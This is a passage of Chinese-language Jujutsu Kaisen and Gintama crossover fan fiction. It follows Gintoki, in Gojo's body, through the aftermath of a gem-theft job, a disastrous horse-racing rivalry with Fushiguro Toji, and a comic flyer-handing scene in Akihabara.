为了避免对方有什么后计，两人还是先回到了休息的地方。
看到浑身污泥的两人，宅十四和刚刚培养出战友情的秘书小姐，默契地后退了好几步。
嫌弃又纠结的表情，就差没有捂鼻子了。
一进去就被打斗的两人甩了一身泥，承受了无妄之灾的冥冥，艰难地维持着嘴角的笑容。
“秘书小姐，我觉得我们应该再商量商量报酬的事情。”
“应该的，应该的。”
秘书小姐的脸上出现了浓浓的同情，她从来都不知道，原来咒术师的工作要承受这么多。
冥冥听到对面愿意提高报酬，心情好了不少，她看向坂田银时：“五条君，宝石在你那还好吗？”
坂田银时把手伸进裤子口袋，里面是他捡起来的所有宝石碎片。
他看向远处，欲盖弥彰地吹着口哨：“宝石？什么宝石？”
不祥的预感在所有人心中升起，秘书小姐战战兢兢地向前一步，一副快要昏厥的样子。
“五条先生，您是在开玩笑是吧？”
“刚刚那个大猩猩的实力，冥冥你也看到了。”坂田银时痛心疾首地捂住胸口，“可恶！世上竟然有实力如此强劲的对手，老子不忍开杀… …不是，老子根本打不过啊岂可修。”
虽然交手时间不长，但从乌鸦视野中看得出来，坂田银时费力的抵挡不假。
但总有种不对劲的感觉。
她回想起刚刚交战的对手，如果对方得手的话，做的第一件事应该是立即逃离现场，而不是过多逗留，直到接到一通电话催他离开。
毕竟被人记住脸的话，日后多少也会有点麻烦。
所以冥冥觉得宝石应该不在对方手里。
那通电话也让她有点在意。
对方应该只是雇佣过来的诅咒师，什么也不知道，而雇主临时改变注意，只有可能是发现现场出了变故。
而这边的变故，冥冥只能想到自己请的五条悟和夏油杰。
会顾及这俩个人，多半这个雇主和咒术界脱不开干系，更有可能和总监部有关。
这就有趣了。
不过背后的大鱼暂且不提，要紧的还是先找到宝石的去向。
冥冥看向坂田银时，从他冒冷汗的脸颊，到虚掩在口袋的手。
心情良好地弯了弯嘴角，应该就在那个口袋里吧？
但为什么要这么做呢？
区区一个宝石，只要五条悟想要，冥冥丝毫不怀疑五条家立马就能买下来。
而且她的学弟也绝对不是这种贪图钱财的人，所以只有可能是宝石出了什么变故，比如损坏了什么的。
从偷窃者的身手看来，不难推测出，之前几次宝石失踪也是对方所为。
细细梳理推测一番，冥冥决定还是等雇主来了之后，再好好商讨后面的事情。
眼看着冥冥的眼神从迷茫到思索，最后变得了然于胸，坂田银时知道自己瞒不下去了，于是选择率先出手。
“秘书小姐，可以麻烦你快点联系四宫先生吗？”
得知消息的四宫先生，在黄昏中匆忙赶来。
还没站稳，就被带到了战斗现场——厕所。
身为第一发现者，坂田银时生动又具体的，配合着肢体动作加站位变换，讲述了下发生的事情。
“所以好消息是，我们让您的宝石没有被偷走，而且对方不会再来偷您的宝石了，您可以安心睡个好觉了。”
“好消息？难道还有坏消息？”
坂田银时点了点头，语气沉重起来：“坏消息是，您的宝石恐怕… …状态不是很好。”
一时间所有人的目光都聚集在坂田银时的身上，看着他将手伸入口袋。
磨磨蹭蹭中，他终于掏出口袋里的东西，举到大家面前慢慢展开手掌，上面躺着一堆碎片。
冥冥跟着周围人一起沉默了。
就算是她，也没想到东西能碎得这么彻底。
四宫先生陡然拔高的音调，在窒息的沉默氛围中率先爆发。
“啊啊啊啊！你都保护了什么啊！”
坂田银时企图讲些俏皮话缓解气氛：“… …说不定它有一天就能像四魂之玉一样，自己合在一起呢？”
但效果甚微。
四宫先生小心翼翼地捧起碎片，一下子背景都灰暗了不少。
趁着对方还没来得及指责，坂田银时说着：“袭击的人实力很高，是业内有名的诅咒师，外号‘术师杀手’，能请动他来偷个东西，其背后恐怕还存在更大的势力。”
他轻咳一声，抬眼看向冥冥：“冥冥学姐有注意到他身上有什么不同的吗？”
“
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似乎，没有感受到他的咒力。”
“没错。”坂田银时推了推不存在的眼镜，他的墨镜在打斗中被甩出去了，“其实我小时候见过他一面，他是罕见的天与咒缚，以所有咒力为代价，获得异于常人的肉1体，他的名字是，禅院甚尔，不过现在改姓成伏黑甚尔了。”
竟然还有意外收获，冥冥挑了挑眉：“原来是禅院家。”
从“年终奖与自己远去”的绝望中勉强振作的秘书小姐，一把抓住冥冥的胳膊：“那有可能是那什么御三家做的吗？”
“这还不好说呢，毕竟御三家内部的事情我们外人知道的不多。”
冥冥和坂田银时一唱一和，稍稍睁眼，看到已经冷静下来的四宫先生。
坂田银时乘胜追击：“你看，我们当初的委托内容虽然是帮您找到小偷，但如果涉及到更上层... ...恐怕不是我们几个学生能解决的，所以这任务我们也就只能做到这了。”
“禅院家是吧？”四宫先生面目狰狞，“我记住了。”
顺利复盘完这次任务，冥冥满意地对着坂田银时点了点头。
任务最后，几个人重新商量好报酬，便各自离开了。
四宫找到了算账的对象，做任务的几人获得了报酬，秘书小姐打开了眼界。
真是一场三赢的he啊！
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一处密不通风的秘密场所内，昏暗的黄色灯光照亮些许道路。
在这种地方走路，对于伏黑甚尔来说并不是什么问题，但对他身旁的孔时雨来说，简直是要了老命了。
突然伏黑甚尔打了一个响亮的喷嚏，吓了孔时雨一跳。
“你这体质还会感冒？”
“什么感冒，多半又是什么人在背后骂我吧。”
好在并没有走多远，两人就看到了这次任务的委托人。
“辛苦了。”
孔时雨调整状态：“怎么会，您是老主顾了，我们肯定要更上心一点才对。”
没等两人寒暄完，伏黑甚尔就有些不耐烦地插话：“委托算是完成了吧？宝石可是你让我不要拿的，赖账可不行。”
“那是自然，伏黑先生。”委托人并不恼，显然很清楚伏黑甚尔的性格，“不过与此相对的，能否请伏黑先生详细说说这次任务的过程呢。”
他那双眼睛在昏暗的室内发出骇人的气息，压低了些许嗓音：“尤其是和您交战的五条悟、夏油杰的事情。”
伏黑甚尔挑了挑眉，看来自己的委托人比起这次任务，更在意那两个高专的小鬼啊。
他下意识想卖个关子，被一旁的孔时雨用手肘捣了下腰子，不悦地看过去。
两人对视几秒，碍于尾款还没收到，伏黑甚尔还是选择说出了任务的全过程。
委托人问的内容十分详细，几乎把所有细节都问了个遍，才让两人离开。
等两人走了之后，委托人拿出手机，语气殷勤地对着电话那头的人，转述了这次委托的内容。
“诶，真是有趣，该说不愧是‘天才’吗？体术都能在短短的时间内精进这么多。”
电话那头的人坐在没有开灯的室内，只有窗外路灯的光亮零零散散透进来，他空着的那只手轻轻敲打着桌面，脸上的表情却是漫不经心。
窗外汽车经过，车灯一瞬间照亮了屋内，露出了男人温和的五官，以及那无法让人忽视的，额头上的一道缝合线。
20.第二十章
因为这次委托不确定要多久，所以一开始坂田银时等人和夜蛾正道直接请了几天的假。
这在一般学校绝对不会被同意的事情，在咒术师身上却是家常便饭。
夜蛾正道也没有怎么为难他们，算是很利落得同意了他们请求。
没人想到委托能够结束得那么干净利落，以至于请的假期一半都还没有用完。
对于剩下假期怎么安排这件事上，几个人的想法出奇的统一，那就是不能浪费在学校里。
苦于被困在高专这个深山老林，没什么宣传自己偶像途径的宅十四，率先丢下旁人，独自一个人跑走了。
冥冥翻了翻手机里的信息，表示正好还有几桩生意可以在这个机会谈谈，于是也离开了。
剩下的坂田银时先偷摸回了趟高专，找家入硝子治好身上的伤，洗了澡换了套衣服之后，就又溜了出去。
在四宫先生提供的酒店中，心安理得地一觉睡到大中午，又美美地蹭了一顿酒店提供的午餐。
然后他捏着手里的银行卡，再次大摇大摆地进了另一家小钢珠店。
名为“下一把一定能赢”的赌徒心理让他在原地枯坐了数个小时。
结果当然是颗粒无收。
小钢珠店的老板对于遇到一个冤大头这件事，倒是乐开了花。
他捧着切好的水果端了过来，看着脸色越来越臭的坂田银时，想着不能让冤大头因为输得没有兴致，以后再也不来了，做成了一锤子买卖。
斟酌了一下，他从柜台拿出一张赌马券：“看先生在这里坐了一下午了，要不要出去透透气？这个赌马场是我常去的，要不要去那边碰碰运气？”
坂田银时抬眼看了看赌马券，伸了伸因为久坐而有些发酸的腰。
“行吧，那我就去看看。”
他顺着赌马券上的地址，来到了地点。
赌马他也不是没有玩过，至于结果嘛。
只能说人菜瘾大。
他再次大摇大摆地进去，随手买了张券就进入了内场。
然后一眼就看到了昨天和他在厕所对战的某人。
两人相视一眼，在心里互叹“晦气”，同时嫌弃地移开了眼。
偏偏很不巧，场内几乎坐满了人，只有伏黑甚尔那边，因为他独特的不好惹气质，让他座位周围一圈都没人坐。
坂田银时只好捏着鼻子，坐在了伏黑甚尔附近座位中最远的一个上面。
然后偷偷拿出手机，开始给冥冥通风报信。
对于伏黑甚尔来说，他一向不喜欢做不能给他带来利益的事情。
在这里对五条家的六眼下手，对他来说不光容易被五条家盯上，影响他的诅咒师事业，而且还会被赌马场拉黑，进而影响他的赌马生涯。
所以在一开始的相看两厌之后，他反而提起了一丝好奇，对于他来说，五条悟和赌场实在是难以凑在一起说。
他右手撑着额头，天予咒缚给予的良好视力，让他一眼就瞟到了坂田银时手上的赌马券。
是他最不看好的3号马。
他嗤笑一声，觉得小少爷应该是第一次来这种地方，就这水平，肯定会输得连裤衩子都不剩。
抖了抖手上写着5号的赌马券，在发令枪的声响下，伏黑甚尔开始转而聚精会神地关注赛事。
只见所有马狂奔着四蹄，在观众席的加油声中一齐冲了出去。
泥泞的地面被踩出一道道马蹄印，看台上的人们挥舞着手里的券，为自己选中的马或叹息，或喝彩。
被坂田银时选中的3号马不紧不慢地跑在中间位置，因为速度不是很快，现在被堵在了几匹马的中间难以提速。
对此，伏黑甚尔丝毫不觉得意外，他歪头朝着坂田银时阴阳怪气地“哈”了一声。
等他再转过头看向马场，被他选中的5号马一个踉跄，狠狠摔在了泥中，然后就这么顺势一动不动地躺在赛道上，未能完成比赛直接被淘汰。
伏黑甚尔：“… …”
同样凭借六眼看清伏黑甚尔手里赌马券的坂田银时，不甘示弱地指着地上扑腾的5号马，朝着伏黑甚尔贱兮兮地大笑着：“诶呀，这匹马怎么躺下来睡着了？难道刚刚是在赛场上梦游吗？哈哈哈哈哈。”
还没等坂田银时高兴完，被他选中的3号马，因为身边5号马的倒下，多出了一个突围的口子，于是抓紧机会准备奋起直追。
只见它朝着侧边大蹄子一迈，鬃毛一甩，一副王者风范的弯道超车，结果却一个侧边打滑，直挺挺地倒在了地上。
甚至因为倒下前在提速，所以整个马旋转着滑了出去，撞倒了几匹马，最终和装死的5号马撞在了一起。
来了一出精彩的保龄球全垒打。
坂田银时：“… …”
伏黑甚尔毫不留情地嘲讽回来：“哟，5号马这是去哪学了街舞吗？这圈转得够多啊。”
两人再次对视，空气中漫延着激烈的火花。
“呵，大叔，手气差就手气差，一直盯着别人的马干什么？是因为被淘汰得太快没有事情做吗？”
“彼此彼此吧？你选的这马也就多撑了十几秒吧？”
两个人谁也不服气谁，都觉得自己虽然赌运差，但怎么都不能被对方看扁。
于是在比赛刚刚结束，两个人一齐站了起来，立马压了下一场的赌注。
第一次，伏黑甚尔选的马跑着跑着开始散步，坂田银时还没笑完，就看到他选的马甩着尾巴凑上去献殷勤。
下一场，坂田银时选的马不知道突然发生疯，开始上蹿下跳，把一众马都挨个撞倒，比赛不得不在一开始就宣布结束。
下下一场… …
坂田银时将手中的一沓赌马券捏成一团：“你是不是被什么奇怪的咒灵诅咒了？比如什么‘进赌马场必出意外’之类的？！”
“呵，我才要说是不是你影响了比赛呢！平常的时候我就算输，也不会输得这么莫名其妙。”
“莫名其妙？”坂田银时用力拍了拍伏黑甚尔座位的靠背，“怎么看都是你做了什么手脚吧？知道自己赢不了所以干脆让别人一起输，所谓的干掉其他竞争者，自己就能得第一的这种卑劣手段！”
“说得这么头头是道，不会你就是这么干的吧？”
两个人谁也骂不过谁，干瞪眼了一会，最后还是决定用实力说话。
“抱歉先生，您卡里的余额已经不够了。”
坂田银时沉默了一下：“开玩笑的吧？里面可是有三千万的啊！”
“嗤，区区三千万，也就是我一单子的事情。”
伏黑甚尔嘲笑了一番，然后打开自己的钱包：“… …”
“怎么了？你不会也没有钱了吧？”坂田银时捂着嘴嘲笑着，得瑟地掏出手机，打给了之前在食堂给了他号码的五条翔一。
“喂，五条不记得叫啥君，给我卡里再打三千万过来。”
“啊？悟大人是遇到什么事情了吗？”
“没有啊，麻烦快一点，我有急用
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，拜。”坂田银时合上手机，一只手撑着柜台，一只手扶着自己的额头，“诶呀诶呀，区区三千万，也就是我一个电话的事情。”
伏黑甚尔从来没觉得一个人竟然能烦人成这个样子，要不是怕赌马场把他拉黑，他现在已经一拳揍上坂田银时那得瑟的脸上了。
所谓输人不输阵，伏黑甚尔最终嗤笑着合上钱包：“不管什么事，就只知道靠家里的小屁孩，要是被家长知道把钱花在赌博上，小心回家被打屁股。”
他转身潇洒地离开了赌马场，留给坂田银时一个成熟大人的背影。
坂田银时才不怕什么“家长威胁论”，他只觉得自己赢了这一局，于是扬声追着伏黑甚尔继续补刀喊：“是准备去卖屁股赚赌资了吗？！大叔注意身体啊！年纪大了肾衰弱得很快的！”
“咔嚓”一声，铝合金实心的大门把手像豆腐一样，轻易得被伏黑甚尔捏碎。
“我改变主意了小鬼。”伏黑甚尔狰狞着侧头看向坂田银时，“果然还是在这里先把你给宰了吧。”
赌马场的那头，观众捏着手里的票热火朝天，这边两人龇牙咧嘴，怒目而视也是同样的热火朝天。
一直站在柜台的工作人员脸上已经冒出了冷汗。
一开始他被两人那豪掷千金的架势酸得不行，在他们嘴里好像三千万就像是路边的石子一样不值钱。
但眼看着两人你一句阴阳，我一句怪气，气氛渐渐焦灼起来，他开始后知后觉感觉到不对劲。
不是吧？他只是个来做兼职的大学生，只是听说这边时薪高就屁颠屁颠地过来打工了，谁知道会遇上这种黑1帮对峙的情节。
等他们火并完了之后，自己会不会被当做目击者灭口啊？
就在他忍不住想要拿出口袋里的手机拨打报警电话的时候，赌场的总经理终于出现了。
“两位先生，公共场合请注意。”
总经理一看就是对这个场面很熟悉，面上淡定得连眼角鱼尾纹的褶子数量都没变：“我们赌马场不光和东京其他赌马场有联系，还和诸多小钢球店等类似产业有投资，所以两位如果行为欠妥被我们拉黑的话，以后可能就要换个城市游玩了。”
话语里没有过多的劝阻，光是说出这个事实就已经足够让坂田银时和伏黑甚尔的头脑冷静下来了。
他俩对视了一眼，最后还是咂着嘴别开了视线。
正巧，这时坂田银时的手机响了一声，打开一看，是汇款成功的提示。
他抬起下巴往马场别了别：“怎么样？再战？”
“嗤。”伏黑甚尔掏出手机，毫不客气地给熟悉的中介人发短信，“再战就再战，小鬼年纪不大，嘴倒是很硬，我今天就要让你看看，你的赌运在我之下！”
“嘴硬怎么了？总比某人一把年纪了想硬都硬不起来的好。”
“咳咳。”总经理不自然地咳嗽了声，“先生，请这边下注。”
欢呼再次在赌马场响起，两人刚刚的一触即发像是一滴水一样，悄无声息地蒸发在阳光下。
汗水，热血，泪水，梦想，在这个一念破灭，一念万贯的地方，周围围绕着的都是一群没有理智的赌徒。
你坐在其中，不消片刻便会被同化，金钱在这里不是衡量商品价值的工具，而是一串串没有实感的数字。
等到回过神，就会发现自己身着片缕，凄惨地被赶出了店。
坂田银时和伏黑甚尔沉默地站在赌马场门口，低头看着自己全身上下仅剩的内裤，陷入了沉思。
21.第二十一章
两人陷入沉思中。
主要陷入沉思的还是伏黑甚尔，毕竟对于他来说，自己虽然很喜欢赌马，但是这么上头，而且还输得这么惨的情况，还是有史以来头一次。
就像是被下了什么降智buff一样。
他侧头看向双手插在内裤两侧，没兜硬插的坂田银时，开始思考对方是不是是自己的瘟神。
而坂田银时沉思的东西就简单了很多。
上次被这么丢出来，还是在上次，多么熟悉的感觉，多么熟悉的体验，回来了，都回来了，他感觉自己回到了家一样。
突兀的电话铃打乱了两人间难得的平静，伏黑甚尔瞥了眼看过来的坂田银时，没怎么看联系人，就接通了电话。
“喂，禅院，你向我借… …”
一句话还没说一半，在听到那人声音的下一秒，伏黑甚尔就利落地挂断了电话。
两人最后对视一眼，一句话也没有说，朝着相反的方向分开了。
对于坂田银时来说，今天是赌得最爽的一次，他还从来没有打过这么富裕的仗呢。
不过接下来问题来了，他是继续要钱来吃饭，还是找个人白嫖一顿饭呢？
没有人能经得住白嫖的诱惑，也没有人能忍住全都要的选项。
尤其是坂田银时。
他先是给五条翔一发了个“麻烦再给我转五百万”的短信，接着打电话给宅十四，得知对方在秋叶原。
地点离他不是很远，他毫无羞耻感地穿着个内裤，无视一路上人的目光，朝着目的地走去。
不过他有些疑惑，刚刚打电话的时候，总觉得宅十四那边吵闹得过头，难道今天秋叶原有什么活动吗？
而另一边，伏黑甚尔却被人堵住了。
这里人员混杂，杂七杂八的咒力混在一起，加上平时出个门，也会遇见几个路过的咒术师。
就算有仇家，大家也会多少顾及到周围的普通人，很少会选择在大街上动手。
所以就算察觉到了混在人群中的咒术师，在没察觉到对方杀意之前，伏黑甚尔都不会过于戒备。
此时自己刚刚赌马输了很多轮，甚至为此还背上了赌债，正是心情最差的时候。
所以当有人非常没有眼力见，突然窜出来挡在自己面前的时候，伏黑甚尔更加不爽起来。
他满脸不虞地看着面前这个人，穿着传统，整个一股子大家族的腐朽味。
是他最不喜欢打交道的一类人。
“滚。”
他不想多做停留，想要径直走过，面前这人却像看不懂他眼里的厌恶一样，朝着旁边一跨，再次挡住路。
“甚尔君，你不认识我了吗？”
被一个不认识的男的直呼名字，让伏黑甚尔恶寒了一下。
完全不知道自己一句话就遭到嫌弃，男子上下打量了下伏黑甚尔：“甚尔君是遇到什么困难了吗？你可以找我，在我手下做事不会亏待你的，而且等我日后当上家主… …”
伏黑甚尔不想理对方，再次往前迈了一步，靠近对方，高大的身躯让他能向下俯视对方，眼中的杀意不断累积。
“最后一遍，滚。”
男子咽了口口水，浑身被如此浓郁的杀气包围，忍不住微微发颤，但那双眼睛却突兀地亮起来。
“不愧是甚尔君，许久不见实力依然如此强大，我叫禅院直哉，和你见过的。”
伏黑甚尔不记得禅院直哉，但听到“禅院”两个字，就足够让他的耐心瞬间被消耗干净。
他直接出手，抓住禅院直哉的脖子，轻松地就将其拎了起来。
下一秒，大街的四面八方窜出来数名禅院家的人，将伏黑甚尔团团包围。
“看来，我当初离开禅院的时候下手还是太轻了点，让你们这群垃圾还敢舞到我的面前。”
此时正是下班放学高峰期，处处都是密集的人群，在大街上传出来争吵声不可避免地吸引了一群好奇的路人。
他们围在不近不远的地方，看着像是群体霸凌的现场，窃窃私语，却没一个人敢上前。
看着突然窜出来的族人，禅院直哉比伏黑甚尔还着急，他努力朝着边上瞪眼：“你们出来干什么！我和甚尔君说话还轮不到你们来插手！都给我滚！”
伏黑甚尔意外地挑了挑眉，对禅院直哉的行为评价道：“有病。”
然后兴致缺缺地随手把他丢到一边，无视边上的一群人，几个瞬息便消失在人群中。
禅院直哉被丢到地上，脑子因为缺氧而有些发昏，他咳嗽了几声，挣扎着站起来，想要追上去，却还是慢了一步。
不甘和懊恼在心中漫延，他看向围观的普通人，鄙夷不已：“看什么？一群庶民，都给我滚！”
围观群众渐渐散去，周围的族人将头埋得更深，安静的充当背景板。
这副鸵鸟样很明显再次让禅院直哉不爽起来：“一个个站在这里做什么？实力不行，脑子也不灵光吗？还不快去追查甚尔君的下落！真是群废物。”
禅院族人慌忙散开，朝着伏黑甚尔消失的路口搜查着。
正郁闷的时候，电话突然响起来。
禅院直哉看去，发现是自己父亲打来的。
只好不情不愿地接通：“喂。”
“哈哈哈哈，小子，听你这语气我就知道，失败了吧？”
电话对面的禅院直毘人传来不加掩饰的嘲笑。
“啧，你打电话就是为了嘲笑我？家主当得这么闲的话，不如现在就让给我来做。”
“混小子，怎么说话的。你想做家主还早着呢。”
禅院直哉之所以在这里，和四宫先生有关。
痛失所有宝石的四宫先生效率出奇高，在和坂田银时一行人分别之后，先是派人调查禅院家。
结果意外发现商业上两家有合作关系。
于是立马联系到了京都那边的员工，找上了门。
本来对于这种非术师的一般人，禅院家是不会见的，但奈何对方商业做得确实大，很多地方都有合作。
背后更是有着霓虹三大财团之一的四宫家做靠山。
于是只好勉为其难让对方进来面谈。
四宫先生派来的员工说出老板的提案，让对方要么用巨款补偿被盗宝石，要么交出伏黑甚尔。
时隔多年，再次听到禅院甚尔的名字，让禅院直毘人恍惚了一瞬，紧接着大笑起来。
“那你可是找错地方了，禅院甚尔在多年前就离开禅院家，和我们没有关系了。”
真相如何现在已经不是四宫在乎的事情了，身为逐利的商人，他此刻只想想办法弥补自己的损失。
深谙老板心理的员工开始在禅院家死缠烂打：“真的吗？据我
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所知，像您这种传统大家族，族人想要离开是很难的事情吧？”
“随你信不信，事情就是这样，我们也很久没见过他了。”
说着便想赶客，谁知道这番对话被禅院直哉听到了。
他挡在门口，兴奋地扬起那双上挑的眼睛：“真的吗？有甚尔君的下落？”
四宫先生的员工眼中闪过一丝亮光，知道了该从什么地方下手，半真半假地说着：“是真的，今天刚在东京和他见过一面。”
“那我要去东京！”
禅院直哉丢下这句，也不管禅院直毘人在背后怎么喊，带着数名族人跟着员工，浩浩荡荡地连夜赶到了东京。
本来以为还要找个几天，没想到第二天下午，招待他们的员工突然告诉他，据线人的可靠消息，伏黑甚尔现在就在一家赌马场里。
于是才有这场围堵的闹剧。
禅院直哉站在人来人往的大街上，握紧拳头。
“我一定会找到你的，甚尔君，他们这群庸才都不懂你的强大。只有我，这个世界上只有我才能理解你。”
-----
刚一到秋叶原，浓浓的二次元死宅气息扑面而来。
海报、大屏幕上放着各类二游、动漫的宣传海报，甚至地铁外的柱子上都贴着各种各样的二次元人物。
如果不是霓虹对于cos的管辖比较严格，坂田银时丝毫不怀疑这里天天都能变成个室外漫展。
总而言之，像是宅十四会喜欢来的地方。
一开始身边路过的还只有衣着正常的普通人，但随着往深处走，就越能频繁地看到御宅族们。
他们穿着印着二次元美少女痛衣，背着扎满吧唧的痛包。
不知道是不是错觉，自从进入这个地方，坂田银时感觉就连用异样眼光看自己的人都变少了。
他掏出手机，再次确认一下宅十四给的地址，照着路牌拐过几个弯之后，眼睛“咻”地一下睁大。
他看到了女仆天堂。
各种造型的女仆在一条街上很有距离感地分开站着，每个人脸上都扬着甜甜的笑容。
她们用软萌的声音对着路过的人们喊着“主人”，然后将手里的宣传单递过去，用这种方式来给自己的咖啡店拉客。
坂田银时感觉自己心灵得到了净化，虽然自己更喜欢天气预报姐姐那种大姐姐类型的，但是偶尔看看萌妹，对心理健康还是起到很好的促进作用的。
这个情况下，白嫖更要抓紧，毕竟都是吃饭，坂田银时更愿意在美少女们的包围下吃。
暗暗吐槽宅十四还真会享受，然后火速给他发了个短信，问他在哪。
结果等了好一会也没有收到回复。
坂田银时只好先顺着这条街走了下去，沿路找找宅十四泡在哪家咖啡店享受温柔乡。
很快，他就找到了。
毕竟在一群女仆中，那家伙的存在是那么的显眼又异类。
只见秋叶原的街道上，一个一米八五左右的肌肉壮汉穿着粉色蓬蓬裙，戴着一头完全没有打理的紫色假发，学着周围女仆，夹着嗓子给路人发传单。
不过看路人的脸色，那个架势更像是在胁迫别人接下传单。
而那个壮汉，竟然就是宅十四。
坂田银时忍不住在内心咆哮：你都用夏油杰的身子做什么奇怪的事情啊！
22.第二十二章
坂田银时走过来的时候，就看到宅十四的周围女仆数量尤其多，一个个虎视眈眈的样子，像是要抢客。
而宅十四手里拿着个咖啡店宣传单，上面写着一个地址。
他面目狰狞，一把抓过那张宣传单：“这是什么？软萌女仆邀请你去她家做些不可言说的事情吗？别忘了你现在还没有成年！妈妈我不允许！绝对不会允许的！可恶！为什么你穿成这样都会有人搭讪？绝对不是在嫉妒你啊，绝对不是！”
“坂田氏，你可以质疑我的心灵，但是你绝对不可以质疑我对爱酱的一片真心！在下对三次元女性一点兴趣都没有！”
“先把你的鼻血擦了再说这话啊混蛋！”
在宅十四不情不愿的短暂讲解下，坂田银时理解了一切。
要说霓虹什么地方人流量多，同时还存在很多二次元的元素的，大多数人的第一反应肯定就是秋叶原。
于是在论坛网友的亲切建议下，宅十四抱着先前印好的宣传单，站在了秋叶原的大街上。
但是一个一米八几的穿黑色制服的肌肉壮汉，在一群软萌的女仆中，实在是处于下风的地位。
别说发传单了，一般人看到他都会下意识地远离一些。
要想在这种情况下，在有限的时间内把手上的宣传单发掉，突然变成了有难度的事情，他忍不住苦恼了起来。
于是他观察着周围业绩更好的女仆们，在短时间内悟到了办法。
既然打不过，那就加入。
首先，为了宣传虚拟偶像，那就要让人在短时间内，对她的形象能有深刻印象。
但因为爱酱的形象还不能提前公布，所以只能给大众一个模糊的暗示。
那就先通过“这个偶像是谁”的话题，把热度炒起来，到时候出道后，热度可以无缝连接。
当然，他在高专给所有人发的宣传单不是这样，多少有点给内部人员宣传的意味，就没有做什么掩饰。
其次，要降低自己的压迫感，在人流密集的街道上瞩目的同时，也要让人有足够的好奇心接近。
那么最好的办法只有一个，那就是cos成星野爱的样子发传单！
正好cos服来不及定做了，用同类型的粉色蓬蓬裙再戴个紫色的长假发，扎个单边侧马尾。
锵锵！元气少女偶像，堂堂登场！
这样不光能起到cos角色又不剧透的作用，还能先给路人留下个模糊的印象，到时候在演唱会现场爱酱一出现。
“‘哇！原来路边发宣传单的coser，cos的就是这个新的虚拟偶像啊！印象好深刻啊！我要关注她！’，肯定能达到这种效果。”
坂田银时在间隙忍不住吐了句槽：“偶像和你这种形象捆绑在一起，还真是可悲啊。如果我是爱酱，一想到粉丝看着自己的时候，脑海里总会有个女装肌肉男在乱晃，我可能会选择当场毕业吧。”
宅十四却丝毫没有这么觉得，继续说着。
换好衣服的他觉得自己简直就是天才本才，他自信满满地重新站在刚刚的位置上，什么都没做，就吸引了整条街的注意。
效果可以说是意料之中的超级拔群。
他自信地拦下一个穿着痛衣，边走路边低头看手机的宅男，将手里的宣传单递了过去。
“诸多偶像举行的演唱会，个个人美歌甜，当天还会发布一个神秘偶像哦~有兴趣了解下吗？”
宅男先是看了眼宣传单，只觉得排版简陋，字体辣眼，宛如某些不正经的小广告。
他不耐烦地皱了皱眉，嘴上刚要说“不需要”，眼睛顺着传单向上，就看到了一截肌肉爆棚的小臂，然后顺着胳膊向上，就看到了一个笑得很核善的一张脸。
嘴里的话就这么卡在了喉咙口。
再看看宅十四的蓬蓬裙，宅男觉得自己被重重击了一拳，眼痛，心更痛。
这沉默让宅十四误以为对方感兴趣，顿时眼睛一亮，决定再接再厉。
“这个神秘偶像真的很神秘的哦，会直接在现场出道的哦，以那种你想不到的奇妙方式！绝对会让你觉得‘二次元真的存在’的那种奇妙！”
说到兴致起来，宅十四将手里的宣传单直接拍在了宅男的胸口：“可以先来传单上的论坛看看哦。”
这一巴掌险些把这个宅男拍碎，他感觉自己的骨头在那瞬间发出了裂开的声音，但迫于宅十四一身的肌肉很有威慑力，他努力憋住快要冲出嗓子的尖叫。
“… …谢谢，我，会去了解的。”
他颤颤巍巍地拿着宣传单，捂着胸口，抖着腿，朝着最近的女仆咖啡店走去。
在女仆一脸“真是可怜，怎么这么倒霉”的同情神情中，半掺半扶地进了咖啡店。
宅十四沉浸于成功发出第一张宣传单的喜悦中，对于路过宅男快碎了这件事，没有丝毫的察觉。
反而更加坚定自己女装的正确。
于是，他在这条街上开始了无情地血洗。
路过的人无一幸免。
周围的女仆眼睁睁地看着宅十四手里的宣传单越来越少，街上的人流量也慢慢稀薄。
一开始她们还争相抢着那些被物理和心理双重重创的客人，毕竟人在最脆弱的时候受到温柔对待，好感加成效果会翻倍。
但此刻看着稀疏的人群，脸上的职业笑容再也维持不住了。
一部分女仆决定换条街，而另一部分女仆决定联合起来，拯救这条被黑暗笼罩的街道。
她们聚集起来，互相推攘着来到宅十四面前。
宅十四不明所以，面无表情地低头看向她们，等待着后续。
然而夏油杰的那张脸，只要一失去笑容，亲和力就会直线下降，加上那身高，看着就不好相处。
加上此时宅十四的站位是背光，脸上的一层阴影打下，压迫感陡然升高。
让几个女仆下意识停滞了下呼吸，手心里泛出密密麻麻的汗水。
另一边，等了半天没等到下文的宅十四，小声询问道：“请问你们有什么事吗？难道说，也对神秘偶像很感兴趣吗？”
几个女仆茫然地望了过来，还没反应过来，手里就被塞入了一张宣传单。
再抬头一看，刚刚还一脸□□大佬气息的宅十四，已经开始快速咏唱“神秘偶像的入教安利颂文”了。
对宅十四的印象瞬间从“不好惹的暴力男”变成了“四斋真鹅心”。
女仆们面面相觑，心里也不怎么怵了，一个大胆的女仆举了举手，打断了忘我的宅十四。
“我们是想来问问你，可不可以换个地方发传单啊？”
“嗯？为什么？”
总不能说是因为你打扮太奇怪，把潜在的客人都吓跑了吧？
那个女仆斟酌了下词句，委婉地说着：“因为你看，这条街都是宣传女仆咖啡店的，你在这受众不多。”
“真的吗？”
看着宅十四纯真的眼神，女仆有些于心不忍，但还是咬咬牙继续说：“对啊，你看我给你指个地方？那边人流量更多。”
“那就拜托你了！”
女仆低头，在自家咖啡店宣传单上写字递了过去：“地址我写在上面了，你可以去试试。”
她伸出食指，点了下宣传单上咖啡店的地址，俏皮地wink了一下：“如果感兴趣的话，下次也可以来我们店里玩玩。”
以上，便是事情的全部经过。
坂田银时顺着宅十四指的方向，和提供地址的女仆对视了一眼。
对方在一瞬间的僵硬之后，礼貌地点了点头。
“什么嘛。”坂田银时同情地拍了拍宅十四的肩膀，“不要太难过，虽然你被嫌弃了，但你至少还有二次元给你逃避。”
宅十四没有理睬坂田银时那鳄鱼的眼泪，他将刚刚的事情复盘了一下，然后后知后觉地瞪大眼睛：“坂坂田氏，难道说她们… …”
坂田银时拿起宅十四做的一张宣传单，装模作样地在眼下擦拭着不存在的泪水。
“难道说她
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们，看上我了？”
坂田银时：“？”
他抬头，不可理喻地看着宅十四：“你是怎么得出的这个结论，伤心过头导致脑子自杀了吗？不说别的，就你这个穿着就已经劝退很多人了，受欢迎的话也只有可能在人妖俱乐部里，不要白日做梦了。对了，有钱吗？我要吃晚饭。”
被坂田银时一通乱怼，本来还想反驳的宅十四听到最后一句话，略过前言，直接拒绝：“不行… …你卡里那么多钱，还需要借我的？”
“花完了而已，现在五条那边还没来得及打过来，放心，到时候连本带利一起还你。”
